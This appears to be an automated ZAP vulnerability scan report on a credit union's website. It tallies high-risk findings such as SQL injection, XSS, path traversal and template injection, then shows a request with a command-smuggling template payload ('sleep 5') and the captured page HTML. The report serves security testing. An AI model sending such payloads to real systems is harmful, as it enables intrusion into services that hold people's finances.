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Made by Matrix Internet on Mon 27 Nov 2023, at 13:12:01
CONTENTS
1. About this report
1. Report parameters
Summaries
1. Alert counts by risk and confidence
2. Alert counts by site and risk
3. Alert counts by alert type
Alerts
1. Risk=High, Confidence=High (1)
2. Risk=High, Confidence=Medium (4)
3. Risk=High, Confidence=Low (1)
4. Risk=Medium, Confidence=High (1)
5. Risk=Medium, Confidence=Medium (3)
6. Risk=Medium, Confidence=Low (1)
7. Risk=Low, Confidence=High (2)
8. Risk=Low, Confidence=Medium (5)
9. Risk=Low, Confidence=Low (1)
10. Risk=Informational, Confidence=Medium (5)
11. Risk=Informational, Confidence=Low (4)
Appendix
1. Alert types
ABOUT THIS REPORT
REPORT PARAMETERS
CONTEXTS
No contexts were selected, so all contexts were included by default.
SITES
The following sites were included:
* https://www.google-analytics.com
* https://connect.facebook.net
* https://www.gstatic.com
* https://www.googletagmanager.com
* https://www.google.com
* https://consentcdn.cookiebot.com
* https://consent.cookiebot.com
* https://www.clcu.ie
(If no sites were selected, all sites were included by default.)
An included site must also be within one of the included contexts for its data
to be included in the report.
RISK LEVELS
Included: High, Medium, Low, Informational
Excluded: None
CONFIDENCE LEVELS
Included: User Confirmed, High, Medium, Low
Excluded: User Confirmed, High, Medium, Low, False Positive
SUMMARIES
ALERT COUNTS BY RISK AND CONFIDENCE
This table shows the number of alerts for each level of risk and confidence
included in the report.
(The percentages in brackets represent the count as a percentage of the total
number of alerts included in the report, rounded to one decimal place.)
Confidence User Confirmed High Medium Low Total Risk High 0
(0.0%) 1
(3.6%) 4
(14.3%) 1
(3.6%) 6
(21.4%) Medium 0
(0.0%) 1
(3.6%) 3
(10.7%) 1
(3.6%) 5
(17.9%) Low 0
(0.0%) 2
(7.1%) 5
(17.9%) 1
(3.6%) 8
(28.6%) Informational 0
(0.0%) 0
(0.0%) 5
(17.9%) 4
(14.3%) 9
(32.1%) Total 0
(0.0%) 4
(14.3%) 17
(60.7%) 7
(25.0%) 28
(100%)
ALERT COUNTS BY SITE AND RISK
This table shows, for each site for which one or more alerts were raised, the
number of alerts raised at each risk level.
Alerts with a confidence level of "False Positive" have been excluded from these
counts.
(The numbers in brackets are the number of alerts raised for the site at or
above that risk level.)
Risk High
(= High) Medium
(>= Medium) Low
(>= Low) Informational
(>= Informational) Site https://www.gstatic.com 0
(0) 0
(0) 0
(0) 1
(1) https://www.googletagmanager.com 0
(0) 1
(1) 0
(1) 0
(1) https://www.clcu.ie 6
(6) 4
(10) 8
(18) 8
(26)
ALERT COUNTS BY ALERT TYPE
This table shows the number of alerts of each alert type, together with the
alert type's risk level.
(The percentages in brackets represent each count as a percentage, rounded to
one decimal place, of the total number of alerts included in this report.)
Alert type Risk Count Cross Site Scripting (Reflected) High 2
(7.1%) Path Traversal High 2
(7.1%) SQL Injection High 1
(3.6%) SQL Injection - Oracle - Time Based High 1
(3.6%) SQL Injection - SQLite High 8
(28.6%) Server Side Template Injection (Blind) High 5
(17.9%) Absence of Anti-CSRF Tokens Medium 514
(1,835.7%) Content Security Policy (CSP) Header Not Set Medium 335
(1,196.4%) Cross-Domain Misconfiguration Medium 2
(7.1%) Missing Anti-clickjacking Header Medium 325
(1,160.7%) Vulnerable JS Library Medium 3
(10.7%) Cookie No HttpOnly Flag Low 5
(17.9%) Cookie without SameSite Attribute Low 8
(28.6%) Cross-Domain JavaScript Source File Inclusion Low 286
(1,021.4%) Server Leaks Information via "X-Powered-By" HTTP Response Header
Field(s) Low 1
(3.6%) Server Leaks Version Information via "Server" HTTP Response Header Field
Low 1730
(6,178.6%) Strict-Transport-Security Header Not Set Low 1579
(5,639.3%) Timestamp Disclosure - Unix Low 472
(1,685.7%) X-Content-Type-Options Header Missing Low 1257
(4,489.3%) Charset Mismatch Informational 128
(457.1%) Content-Type Header Missing Informational 4
(14.3%) Information Disclosure - Suspicious Comments Informational 658
(2,350.0%) Modern Web Application Informational 147
(525.0%) Re-examine Cache-control Directives Informational 46
(164.3%) Retrieved from Cache Informational 140
(500.0%) Session Management Response Identified Informational 31
(110.7%) User Agent Fuzzer Informational 8048
(28,742.9%) User Controllable HTML Element Attribute (Potential XSS)
Informational 514
(1,835.7%) Total 28
ALERTS
1. RISK=HIGH, CONFIDENCE=HIGH (1)
1. HTTPS://WWW.CLCU.IE (1)
1. SERVER SIDE TEMPLATE INJECTION (BLIND) (1)
1. POST https://www.clcu.ie/
Alert tags Alert description
When the user input is inserted in the template instead of being
used as argument in rendering is evaluated by the template engine.
Depending on the template engine it can lead to remote code
execution.
Request Request line and header section (415 bytes)
POST https://www.clcu.ie/ HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
content-type: application/x-www-form-urlencoded
referer: https://www.clcu.ie/
content-length: 401
Cookie: PHPSESSID=6n82fsdsffcfgjuvlei7d25bth; wordpress_test_cookie=WP%20Cookie%20check
Request body (401 bytes)
_wpcf7=6673&_wpcf7_version=5.8&_wpcf7_locale=%23%7B%25x%28sleep+5%29%7D&_wpcf7_unit_tag=wpcf7-f6673-o1&_wpcf7_container_post=0&_wpcf7_posted_data_hash=&_wpcf7_recaptcha_response=&user-name=ZAP&phone=9999999999&email=zaproxy%40example.com&service=ZAP&g-recaptcha-response=%0D%0A%09%09&honeypot-454-time-start=1701069820&honeypot-454-time-check=4&honeypot-454=ZAP&_wpcf7_ak_hp_textarea=&_wpcf7_ak_js=163
Response Status line and header section (519 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 11:25:11 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Link: <https://www.clcu.ie/wp-json/>; rel="https://api.w.org/", <https://www.clcu.ie/wp-json/wp/v2/pages/6667>; rel="alternate"; type="application/json", <https://www.clcu.ie/>; rel=shortlink
Upgrade: h2,h2c
Vary: Accept-Encoding
content-length: 139760
Response body (139760 bytes)
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</head><body data-rsssl=1 class="home page-template page-template-template-parts page-template-content-home-page page-template-template-partscontent-home-page-php page page-id-6667 new_home_page no-sidebar chrome windows page-croi-laighean-credit-union layout_one_class">
<div id="page" class="site">
<div class="notice_wrap">
<div class="notice_title">** NOTICE **</div>
<div class="notice_sub_title">Branches will open at 11am to facilitate staff training every Tuesday (except after bank holidays).</div>
</div>
<header class="haeder_top">
<div class="logo">
<a title="Croí Laighean Credit Union" href="https://www.clcu.ie"><img src="https://www.clcu.ie/wp-content/uploads/2019/11/logo.svg" title="Croí Laighean Credit Union" alt="Croí Laighean Credit Union"></a>
</div> <div class="top-main">
<div class="top_menu">
<div class="search-filter">
<form class="search-form" method="get" id="searchform_desktop" action="https://www.clcu.ie" name="frm">
<div class="search_posts">
<input type="text" class="search-field" name="s" id="search_head_mobile" autocomplete="off" placeholder="search..." value="" required />
<input type="submit" class="search-submit" id="searchsubmit" value="Search" title="Site Search" onclick="return IsEmpty();"/>
</div>
</form>
</div>
<div class="top_link location">
<a href="https://www.clcu.ie/contact/" title="Locations">Locations</a>
</div>
<div class="top_link email">
<a href="mailto:welcome@clcu.ie" title="welcome@clcu.ie">welcome@clcu.ie</a>
</div>
<div class="top_link mobile">
<a class="desk_view" href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
<a class="mob_view" href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
</div>
<div class="socailicons">
<ul>
<li class="icon_linkedin"><a href="https://ie.linkedin.com/company/croilaigheancreditunion" target="_blank"></a></li><li class="icon_facebook"><a href="https://www.facebook.com/CLCreditUnion/" target="_blank"></a></li><li class="icon_instagram"><a href="https://www.instagram.com/clcreditunion/" target="_blank"></a></li><li class="icon_twitter"><a href="https://twitter.com/CLCreditUnion" target="_blank"></a></li> </ul>
</div>
</div>
</div>
<div class="main-navigation">
<div class="menu-header-menu-container"><ul id="primary-menu" class="menu"><li id="menu-item-27" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-27"><a title="Who we are" href="https://www.clcu.ie/who-we-are/">Who we are</a></li>
<li id="menu-item-7688" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-7688"><a href="https://www.clcu.ie/our-community/">Our Community</a></li>
<li id="menu-item-26" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26"><a title="Services" href="https://www.clcu.ie/services/">Services</a></li>
<li id="menu-item-21" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-21"><a title="Loans" href="https://www.clcu.ie/credit-union-loan/">Loans</a></li>
<li id="menu-item-2743" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2743"><a title="Current Account" href="https://www.clcu.ie/current-account-overview/">Current Account</a></li>
<li id="menu-item-2584" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2584"><a title="Savings" href="https://www.clcu.ie/savings/">Savings</a></li>
<li id="menu-item-4044" class="joinuspink menu-item menu-item-type-post_type menu-item-object-page menu-item-4044"><a title="Join Us" href="https://www.clcu.ie/join-us/">Join Us</a></li>
<li id="menu-item-778" class="cuonline-button menu-item menu-item-type-custom menu-item-object-custom menu-item-778"><a title="Online Banking" target="_blank" rel="noopener" href="https://secure.clcu.ie/login.asp?sf=73">Online Banking</a></li>
</ul></div> </div>
<div class="mobile_menuwrap">
<button class="menu-toggle" aria-controls="primary-menu" aria-expanded="false"><span></span><span></span><span></span></button>
<div class="mobile_menu">
<div class="logo">
<a title="Croí Laighean Credit Union" href="https://www.clcu.ie"><img src="https://www.clcu.ie/wp-content/uploads/2022/08/logo2-1.png" title="Croí Laighean Credit Union" alt="Croí Laighean Credit Union"></a>
</div>
<button class="menu-toggle" aria-controls="primary-menu" aria-expanded="false"><span></span><span></span></button>
<div class="mobile_menusection">
<div class="mobile_menuinner mobilemenuwrap">
<div class="mobile_menubox">
<div class="menu-header-menu-container"><ul id="primary-menu" class="menu"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-27"><a title="Who we are" href="https://www.clcu.ie/who-we-are/">Who we are</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-7688"><a href="https://www.clcu.ie/our-community/">Our Community</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-26"><a title="Services" href="https://www.clcu.ie/services/">Services</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-21"><a title="Loans" href="https://www.clcu.ie/credit-union-loan/">Loans</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2743"><a title="Current Account" href="https://www.clcu.ie/current-account-overview/">Current Account</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2584"><a title="Savings" href="https://www.clcu.ie/savings/">Savings</a></li>
<li class="joinuspink menu-item menu-item-type-post_type menu-item-object-page menu-item-4044"><a title="Join Us" href="https://www.clcu.ie/join-us/">Join Us</a></li>
<li class="cuonline-button menu-item menu-item-type-custom menu-item-object-custom menu-item-778"><a title="Online Banking" target="_blank" rel="noopener" href="https://secure.clcu.ie/login.asp?sf=73">Online Banking</a></li>
</ul></div> <div class="mobile_search">
<form class="search-form" method="get" id="searchform_desktop" action="https://www.clcu.ie" name="frm">
<div class="search_posts">
<input type="text" class="search-field" name="s" id="search_head_mobile" autocomplete="off" placeholder="search..." value="" required />
<input type="submit" class="search-submit" id="searchsubmit" value="Search" title="Site Search" onclick="return IsEmpty();"/>
</div>
</form>
</div>
<div class="top_menu top_menu_mobile">
<div class="top_link location">
<a href="https://www.clcu.ie/contact/" title="Locations">Locations</a>
</div>
<div class="top_link email">
<a href="mailto:welcome@clcu.ie" title="welcome@clcu.ie">welcome@clcu.ie</a>
</div>
<div class="top_link mobile">
<a href="tel:1800 23 24 25" title="1800 23 24 25">1800 23 24 25</a>
</div>
</div>
<div class="socailicons">
<ul>
<li class="icon_linkedin"><a href="https://ie.linkedin.com/company/croilaigheancreditunion" target="_blank"></a></li><li class="icon_facebook"><a href="https://www.facebook.com/CLCreditUnion/" target="_blank"></a></li><li class="icon_instagram"><a href="https://www.instagram.com/clcreditunion/" target="_blank"></a></li><li class="icon_twitter"><a href="https://twitter.com/CLCreditUnion" target="_blank"></a></li> </ul>
</div>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="content-sidebar">
<a id="become_member"></a>
<div class="sidebar-con upwards_arrow">
<div class="inner_box">
<h3>How Can We Help You Today?</h3> <div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright1-1.svg" title="iconright1-1" alt="Credit-Union-Calculator">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/loan-calculator-hover.svg" title="iconright1-1" alt="Credit-Union-Calculator">
</div>
<a href="https://www.clcu.ie/loans/#calculator" title="Loan Calculator">Loan Calculator</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright2-1.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/apply-for-a-loan-hover.svg" title="iconright2-1" alt="Apply-For-Credit-Union-Loan">
</div>
<a href="https://www.clcu.ie/loans/#apply-loan-main" title="Apply for a Loan">Apply<br>for a Loan</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2020/09/iconright3-1.svg" title="iconright3-1" alt="Contact Your Credit Union">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2020/09/faq-hover.svg" title="iconright3-1" alt="Contact Your Credit Union">
</div>
<a href="https://www.clcu.ie/faqs/" title="FAQ">FAQ</a>
</div>
<div class="icon-text">
<div class="icon_cls">
<img class="active" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email">
<img class="hover" src="https://www.clcu.ie/wp-content/uploads/2022/02/email.svg" title="email" alt="Credit Union Kildare Email">
</div>
<a href="https://www.clcu.ie/contact/" title="Get in touch">Get<br>in touch</a>
</div>
</div>
<div class="sidebar_ttl"><a href="https://www.clcu.ie/join-us/" title="Join Us"><img src="https://www.clcu.ie/wp-content/themes/croi-laighean/images/join-us.svg" title="Join Us"/>Join Us</a></div>
</div> </div>
<div id="content" class="site-content">
<h1 class="h1_hide">Croí Laighean Credit Union</h1>
<div class="img-slider">
<div class="image-content">
<div class="banner-img slider_1" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/07/credit-union-mortgage-2.png');">
<div class="banner_wrap">
<div class="banner-title">
We're dropping our Mortgage Rates!
</div>
<div class="banner-desc">
<p>Yes, that’s right! We’re DROPPING our mortgage rates. New rates from 3.75% (3.81% APR).</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/credit-union-mortgages/">Find Out More</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_2" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2021/11/credit-union-christmas-loan-4.png');">
<div class="banner_wrap">
<div class="banner-title">
Credit Union Christmas Loan
</div>
<div class="banner-desc">
<p>Spread the cost of Christmas with our Christmas Loan.</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/christmas-loan/">Find Out More</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_3" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/08/One-4-One-small-loan-ireland.png');">
<div class="banner_wrap">
<div class="banner-title">
One 4 One Loan
</div>
<div class="banner-desc">
<p>Borrow up to €1,000 for up to 1 year with a low-interest rate of just 6.73% (6.95% APR).</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/one-4-one-loan/">Find Out More</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_4" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/06/PCP-New-Car-Loan.png');">
<div class="banner_wrap">
<div class="banner-title">
Get a 232 <br>for 5.5%
</div>
<div class="banner-desc">
<p>Get that new car feeling with our <strong>lowest-ever</strong> car loan rate of 5.5% (5.64% APR).</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/pcp-buster-our-lowest-car-loan-rate/">Find Out More</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_5" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/05/peopl-car-insurance-ireland.png');">
<div class="banner_wrap">
<div class="banner-title">
Our New<br>Car Insurance
</div>
<div class="banner-desc">
<p>Always the right cover at the best possible price, every year!</p>
</div>
<div class="banner-link">
<a href="https://www.peopl.ie/car-insurance?referralsource=CroiLaigheanCU">Find Out More</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_6" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2023/04/credit-union-current-account.png');">
<div class="banner_wrap">
<div class="banner-title">
Give Your Bank The Boot!
</div>
<div class="banner-desc">
<p>With lower fees, 24/7 online banking, Mastercard® debit card, and digital wallets, our current account has everything you need.</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/switch-to-a-credit-union-current-account/">Switch Today</a>
</div>
</div>
</div>
</div>
<div class="image-content">
<div class="banner-img slider_7" style="background-image: url('https://www.clcu.ie/wp-content/uploads/2022/09/Credit-Union-Green-Loan.png');">
<div class="banner_wrap">
<div class="banner-title">
Our New <br>Green Loan
</div>
<div class="banner-desc">
<p>Good for the environment. Better for your pocket.</p>
</div>
<div class="banner-link">
<a href="https://www.clcu.ie/credit-union-green-loan/">Find Out More</a>
</div>
</div>
</div>
</div>
</div>
<div class="scroll_down">
<a href="#whoweare" id="scroll_down">
<span class="mouse"></span>
SCROLL DOWN
</a>
</div>
<div class="request_call_back">
<div class="container"><h5>Request a Call Back</h5>
<div class="wpcf7 no-js" id="wpcf7-f6673-o1" lang="en-US" dir="ltr">
<div class="screen-reader-response"><p role="status" aria-live="polite" aria-atomic="true">There was an error trying to send your message. Please try again later.</p> <ul></ul></div>
<form action="/#wpcf7-f6673-o1" method="post" class="wpcf7-form spam" aria-label="Contact form" novalidate="novalidate" data-status="spam">
<div style="display: none;">
<input type="hidden" name="_wpcf7" value="6673" />
<input type="hidden" name="_wpcf7_version" value="5.8" />
<input type="hidden" name="_wpcf7_locale" value="en_US" />
<input type="hidden" name="_wpcf7_unit_tag" value="wpcf7-f6673-o1" />
<input type="hidden" name="_wpcf7_container_post" value="0" />
<input type="hidden" name="_wpcf7_posted_data_hash" value="" />
<input type="hidden" name="_wpcf7_recaptcha_response" value="" />
</div>
<p><span class="wpcf7-form-control-wrap" data-name="user-name"><input size="40" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" aria-required="true" aria-invalid="false" placeholder="Name" value="ZAP" type="text" name="user-name" /></span><br />
<span class="wpcf7-form-control-wrap" data-name="phone"><input size="40" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" aria-required="true" aria-invalid="false" placeholder="Phone" value="9999999999" type="text" name="phone" /></span><br />
<span class="wpcf7-form-control-wrap" data-name="email"><input size="40" class="wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email" aria-required="true" aria-invalid="false" placeholder="Email" value="zaproxy@example.com" type="email" name="email" /></span><br />
<span class="wpcf7-form-control-wrap" data-name="service"><input size="40" class="wpcf7-form-control wpcf7-text wpcf7-validates-as-required" aria-required="true" aria-invalid="false" placeholder="Service" value="ZAP" type="text" name="service" /></span><br />
<span class="wpcf7-form-control-wrap recaptcha" data-name="recaptcha"><span data-sitekey="6LfPDQYaAAAAAL7m_7IEv5NSM8up4hxZGpZn93lB" class="wpcf7-form-control wpcf7-recaptcha g-recaptcha"></span>
<noscript>
<div class="grecaptcha-noscript">
<iframe src="https://www.google.com/recaptcha/api/fallback?k=6LfPDQYaAAAAAL7m_7IEv5NSM8up4hxZGpZn93lB" frameborder="0" scrolling="no" width="310" height="430">
</iframe>
<textarea name="g-recaptcha-response" rows="3" cols="40" placeholder="reCaptcha Response Here">
</textarea>
</div>
</noscript>
</span><br />
<span id="wpcf7-65647c976b4a3-wrapper" class="wpcf7-form-control-wrap honeypot-454-wrap" style="display:none !important; visibility:hidden !important;"><input type="hidden" name="honeypot-454-time-start" value="1701084311"><input type="hidden" name="honeypot-454-time-check" value="4"><label for="wpcf7-65647c976b4a3-field" class="hp-message">Please leave this field empty.</label><input id="wpcf7-65647c976b4a3-field" class="wpcf7-form-control wpcf7-text" type="text" name="honeypot-454" value="" size="40" tabindex="-1" autocomplete="off" /></span><br />
<input class="wpcf7-form-control wpcf7-submit has-spinner" type="submit" value="Send" />
</p><p style="display: none !important;"><label>Δ<textarea name="_wpcf7_ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="_wpcf7_ak_js" value="11"/><script>document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() );</script></p><div class="wpcf7-response-output" aria-hidden="true">There was an error trying to send your message. Please try again later.</div>
</form>
</div>
</div>
</div>
<div class="image_and_text">
<div class="text_counter">
<div class="counter_image">
<div class="cout_img"><img src="https://www.clcu.ie/wp-content/uploads/2020/11/up-to-75.svg" alt="High Loan Approval" title="up-to-75"></div>
<div class="loan">
<div class="text">
<h4>Great value loans</h4> </div>
<div class="description">
interest calculated on reducing loan balance </div>
</div>
</div>
<div class="counter_image">
<div class="cout_img"><img src="https://www.clcu.ie/wp-content/uploads/2020/11/1200.svg" alt="Credit Union Borrow" title="1200"></div>
<div class="loan">
<div class="text">
<h4>Over €<span class="counter">53</span> million</h4> </div>
<div class="description">
borrowed by members in 2021/22 </div>
</div>
</div>
<div class="counter_image">
<div class="cout_img"><img src="https://www.clcu.ie/wp-content/uploads/2020/11/14335.svg" alt="Credit Union Loan Approval" title="14335"></div>
<div class="loan">
<div class="text">
<h4><span class="counter">99</span>%</h4> </div>
<div class="description">
Loan approval rate </div>
</div>
</div>
<div class="counter_image">
<div class="cout_img"><img src="https://www.clcu.ie/wp-content/uploads/2020/11/79.svg" alt="CLCU Community Loan" title="79"></div>
<div class="loan">
<div class="text">
<h4>Hassle-free loan process</h4> </div>
<div class="description">
and 24-hour turnaround on standard loans </div>
</div>
</div>
</div>
</div>
<div class="apply_for_loan_sec">
<div class="container">
<div class="text_counter">
<div class="counter_image">
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Switch Your Current Account </div>
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Save With Us </div>
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<div class="croi-laighean-cu" id="whoweare">
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<div class="container">
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<h2>Your Local Credit Union Serving Offaly & Kildare</h2>
<p>Serving Offaly & Kildare, Croí Laighean Credit Union has a friendly approach to modern finance. We may work with figures all day, but you’ll always be more than a number. Our award winning customer service is both personal and professional because our members are at the heart of everything we do.<br><br>
As a not-for-profit Credit Union, we make it simple to borrow and to save for the future, with convenient savings, financial guidance and the best loan rates in the locality. If you're looking for a great value loan, use our handy calculator below.
<br><br><b><i>If you're not a member, don't worry! We made it simple and you can apply for a loan and join Croí Laighean Credit Union at the same time!</i></b></p>
</div>
</div>
<div class="container autoaddcms">
<div class="croi-content-wrap">
<h3>Am I eligible to join Croí Laighean Credit Union</h3>
<link href="https://api.autoaddress.ie/2.0/control/css/autoaddress.min.css" rel="stylesheet"/>
<script src="https://www.clcu.ie/wp-content/themes/croi-laighean/js/autoaddress.js"></script>
<div class="fulladddiv"><div id="autoadddiv"></div>
<div class="selectedadd"></div>
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<script type="text/javascript">
jQuery(function(){
jQuery("#autoadddiv").AutoAddress({
key : "8EC817D0-70DA-445F-3EB4-CEDD981F09BD" ,
vanityMode : true,
addressProfile : "Demo5LineV2",
country : "ie",
language : "en"
});
});
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<ul class="nav nav-tabs" id="myTabs" role="tablist">
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<li id="what-we-do-1" class="nav-item active" datarowcolor="#d52f89" style="background-color:#d52f89 ">
<a class="nav-link active" id="home-tab" data-toggle="tab" href="#tab_1" role="tab" title="Loan calculator">Loan calculator</a>
</li>
<li id="what-we-do-2" class="nav-item " datarowcolor="#009c86" style="background-color:#009c86 ">
<a class="nav-link " id="home-tab" data-toggle="tab" href="#tab_2" role="tab" title="Our Services">Our Services</a>
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<a class="nav-link " id="home-tab" data-toggle="tab" href="#tab_3" role="tab" title="Why Choose Us">Why Choose Us</a>
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<a class="nav-link " id="home-tab" data-toggle="tab" href="#tab_4" role="tab" title="Croí Laighean App">Croí Laighean App</a>
</li>
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<a class="nav-link " id="home-tab" data-toggle="tab" href="#tab_5" role="tab" title="Member Benefits">Member Benefits</a>
</li>
</ul>
<div class="tab-content">
<div id="what-we-do-1"></div>
<div class="tab-pane fade active in" id="tab_1" role="tabpanel">
<div class="res-tab open" datarowcolor="#d52f89" style="background-color:#d52f89 " >Loan calculator</div>
<div class="container">
<div class="left_image">
<img src="https://www.clcu.ie/wp-content/uploads/2019/11/tab1pics-1.png" alt="Credit Union Loan Calculator" title="tab1pics">
</div>
<div class="right_title">
<h3><a href="https://www.clcu.ie/loans/" title="Loan Calculator">Loan Calculator</a></h3>
<div class="r_content"><div class="homecalcs">
<h4><strong><em>To view our new lower mortgage rates, <a href="https://www.clcu.ie/credit-union-mortgages/">please click here</a>.</em></strong></h4>
<div class="calc_container">
<div class="calc_box">
<div class="calc_left">
<div class="lontype_title">Loan Type</div>
<div class="loan_cal_type">
<select class="selectloantype">
<option value="1">Green Loan</option><option value="2" selected>Car Loan</option><option value="3">PCP Buster</option><option value="4">Community Loan</option><option value="5">Consolidation Loan</option><option value="6">Covered Loan</option><option value="7">Home Improvement Loan</option><option value="8">One 4 One Loan</option><option value="9">Standard Personal Loan</option><option value="10">Student Loan</option><option value="11">5 Year Fixed Loan</option><option value="12">7 Year Fixed Loan</option><option value="13">10 Year Fixed Loan</option> </select>
</div>
<div class="loan_leftwrap loan">
<div class="calc_row1 calc_process">
<input type="text" id="amount" name="amount" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" value="" />
<div class="calc_bar">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderAmountMinus" name="sliderAmountMinus" onclick="javascript: amountDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Amount">
<div id="sliderAmount"><div id="amountSliderHandle" class="ui-slider-handle"></div></div>
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderAmountPlus" name="sliderAmountPlus" onclick="javascript: amountIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Amount">
</div>
</div>
<div class="calc_row2 calc_process">
<input type="text" id="term" name="term" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" />
<div class="calc_bar">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term">
<img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term">
<div id="sliderTerm"></div>
</div>
</div>
</div>
</div>
<div id="Results" class="Results calc_right">
<div class="result_title"><input type="text" id="apr" name="apr" value="7.76% APR" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible"></div>
<ul id="sliderValuesList" name="sliderValuesList">
<li>
<span id="spanWeek" name="spanWeek"><span id="spanWeekText" class="spanTermText">Weekly</span>
<input type="text" name="paymentSliderWeekly" id="paymentSliderWeekly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotal" name="spanWeekTotal"><span id="spanWeekTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalWeekly" name="paymentSliderTotalWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotalInterest" name="spanWeekTotalInterest"><span id="spanWeekInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestWeekly" name="paymentSliderTotalInterestWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="span2Weeks" name="span2Weeks"><span id="span2WeeksText" class="spanTermText">Fortnightly</span>
<input type="text" name="paymentSlider2Weeks" id="paymentSlider2Weeks" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotal" name="span2WeeksTotal"><span id="span2WeeksTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotal2Weeks" name="paymentSliderTotal2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotalInterest" name="span2WeeksTotalInterest"><span id="span2WeeksInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterest2Weeks" name="paymentSliderTotalInterest2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="spanMonth" name="spanMonth"><span id="spanMonthlyText" class="spanTermText">Monthly</span>
<input type="text" name="paymentSliderMonthly" id="paymentSliderMonthly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotal" name="spanMonthTotal"><span id="spanMonthlyTotalText" class="spanTotalText">Total</span>
